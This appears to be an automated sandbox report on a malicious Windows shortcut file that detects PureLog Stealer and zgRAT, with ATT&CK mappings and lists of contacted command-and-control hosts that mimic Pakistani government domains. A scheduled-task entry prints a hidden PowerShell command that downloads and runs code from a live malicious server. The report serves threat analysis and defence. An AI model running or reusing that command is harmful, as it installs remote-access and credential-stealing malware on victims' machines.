Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c9b50000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1d1c1260f78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	41 Virtualization/Sandbox Evasion	LSASS Memory	12 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	2 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	21 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BX7yRz7XqF.lnk	42%	ReversingLabs	Shortcut.Trojan.WinLnk
BX7yRz7XqF.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ofc.mofserviceserver.top	172.67.149.9	true	true	unknown
me-ycpi-cf-www.g06.yahoodns.net	87.248.119.251	true	false	unknown
www.google.com	142.250.186.36	true	false	unknown
gateway.discord.gg	162.159.135.234	true	false	unknown
www.protonmail.com	185.70.42.31	true	true	unknown
pmofficepakistancloudserver.shiftroof.top	172.67.132.65	true	false	unknown
pmo.gov.pk	203.101.184.118	true	true	unknown
www.nadra.gov.pk	104.22.15.154	true	true	unknown
cloud.dellicon.top	188.114.97.3	true	false	unknown
www.yahoo.com	unknown	unknown	true	unknown
1.1.1.1.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://pmo.gov.pk/site/404	true	unknown
https://gateway.discord.gg/?v=9&encording=json	false	unknown
http://pmofficepakistancloudserver.shiftroof.top//WinSysMgr/	false	unknown
https://pmo.gov.pk/favicon.ico	false	unknown
https://cloud.dellicon.top/1000/500/	false	unknown
https://ofc.mofserviceserver.top/DSCTSC/	false	unknown
http://cloud.dellicon.top/1000/500/	false	unknown
http://ofc.mofserviceserver.top/DSCTSC/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pmo.gov.pk/site/404;W	powershell.exe, 00000000.00000002.3889819595.00000205712B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ofc.mofserviceserver.t	powershell.exe, 0000000A.00000002.1446930048.000002480162F000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://pmofficepakistancloudserver.shiftroof.top//WinSysMgr/the	powershell.exe, 00000000.00000002.3806263511.0000020500E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.microsoft.co	powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://pmo.gov.pk/site/404;	powershell.exe, 00000000.00000002.3889819595.0000020571230000.00000004.00000020.00020000.00000000.sdmp, BX7yRz7XqF.lnk	true		unknown
http://gateway.discord.gg	powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pmo.gov.pk/site/404T	powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/guilds/	powershell.exe, 0000000F.00000002.1601062674.000001D1B1776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.microsoft.coC	powershell.exe, 0000000F.00000002.1671863168.000001D1C9630000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pmofficepakistancloudserver.shi$id/winsysmgr/	powershell.exe, 00000000.00000002.3898543575.0000020573560000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.3879782353.0000020510072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3879782353.00000205101B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.00000248002E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.0000024810092000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024801D0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.00000248101C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B2DB4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gateway.discord.gg:443/?v=9&encording=json	powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 0000000A.00000002.1446930048.00000248019E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pmofficepakistancloudserver.shi$id/WinSysMgr/	powershell.exe, 00000000.00000002.3889819595.0000020571230000.00000004.00000020.00020000.00000000.sdmp, BX7yRz7XqF.lnk	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.3806263511.0000020500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B10B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://pmo.gov.pk/site/404;m	powershell.exe, 00000000.00000002.3889819595.00000205712B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.3879782353.0000020510072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3879782353.00000205101B4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3806263511.0000020501A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.00000248003DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.0000024810092000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1463269695.00000248101C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000000A.00000002.1446930048.00000248019E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000F.00000002.1601062674.000001D1B2C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000F.00000002.1601062674.000001D1B2C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000000.00000002.3806263511.00000205014EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024800F42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B1C54000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cloud.dellicon.top	powershell.exe, 0000000F.00000002.1601062674.000001D1B151A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pmo.gov.pk/site/404;$id=	powershell.exe, 00000000.00000002.3893130672.0000020572D20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3895148907.0000020573340000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3892359354.0000020571380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3889819595.0000020571237000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3889819595.00000205712B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ofc.mofserviceserver.top/DSCT	powershell.exe, 00000000.00000002.3806263511.0000020501980000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.000002480162F000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000008.00000003.1412694467.000002384C670000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3809924179.000002384C800000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.microsoft.	powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/channels/	powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000F.00000002.1601062674.000001D1B2C6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pmo.gov.pk/site/404&	powershell.exe, 00000000.00000002.3898678743.0000020573660000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.8.dr	false		unknown
http://cloud.dellicon.top	powershell.exe, 0000000F.00000002.1601062674.000001D1B137C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://file.io/	powershell.exe, 0000000F.00000002.1601062674.000001D1B1776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pmofficepakistancloudserver.shi	powershell.exe, 00000000.00000002.3806263511.0000020500234000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://pmofficepakistancloudserver.shiftroof.top	powershell.exe, 00000000.00000002.3806263511.000002050195E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3806263511.00000205014EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.3806263511.0000020500001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1446930048.0000024800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B10B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipwho.is/	powershell.exe, 0000000F.00000002.1601062674.000001D1B1776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B16E6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://gateway.discord.gg	powershell.exe, 0000000F.00000002.1601062674.000001D1B1786000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 0000000A.00000002.1446930048.00000248019E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1601062674.000001D1B26DB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://pmo.gov.pk/site/404R_F_PRO	powershell.exe, 00000000.00000002.3895148907.0000020573340000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
104.22.15.154	www.nadra.gov.pk	United States	13335	CLOUDFLARENETUS	true
172.67.132.65	pmofficepakistancloudserver.shiftroof.top	United States	13335	CLOUDFLARENETUS	false
203.101.184.118	pmo.gov.pk	Pakistan	9541	CYBERNET-APCyberInternetServicesPvtLtdPK	true
162.159.135.234	gateway.discord.gg	United States	13335	CLOUDFLARENETUS	false
172.67.149.9	ofc.mofserviceserver.top	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	cloud.dellicon.top	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522858
Start date and time:	2024-09-30 18:57:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BX7yRz7XqF.lnk renamed because original name is a hash value
Original Sample Name:	7d1585f9ed317bf06a63bd5aaaf015f6066c51a7153370579b2836d66142f877.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@34/25@22/11
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 142.250.186.46, 66.102.1.84, 34.104.35.123, 23.43.61.160, 184.28.90.27, 84.201.210.37, 142.250.185.131, 142.250.185.174
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 5140 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: BX7yRz7XqF.lnk

Simulations

Behavior and APIs

Time	Type	Description
12:58:22	API Interceptor	177x Sleep call for process: powershell.exe modified
12:58:25	API Interceptor	2x Sleep call for process: svchost.exe modified
18:58:28	Task Scheduler	Run new task: LocalMCleaner path: Powershell s>-WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/\|Powershell

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.149.9	https://gamma.app/docs/Emma-Hutchison-Shared-HorseBack2300450-HorseBackUK-01032024-idiporrv2rfsc1z	Get hash	malicious	HTMLPhisher, HtmlDropper	Browse
172.67.149.9	https://supply-chain.my.canva.site/blue-heron	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
239.255.255.250	Sv6eQZzG0Z.lnk	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	http://oiut-hbhgvgcvgcfcfcxbh.s3-website.us-east-2.amazonaws.com/	Get hash	malicious	HTMLPhisher	Browse
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse
	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse
	https://mandrillapp.com/track/click/30481271/www.doku.com?p=eyJzIjoibU5DZVhaM2w5MjJrQzZUaXptdlBXY2VNN2VnIiwidiI6MSwicCI6IntcInVcIjozMDQ4MTI3MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5kb2t1LmNvbVxcXC91XFxcL01PMjI3cXdcIixcImlkXCI6XCIxZjY5Nzc3NzBlZjU0NTg3OThmOTMwN2YyMzc5Y2VlOFwiLFwidXJsX2lkc1wiOltcImZiY2Y5N2U4ZWY0YzlkODk1Y2MxMGM4Y2YzYTdkZjc5YzU2NzU4MTlcIl19In0	Get hash	malicious	Unknown	Browse
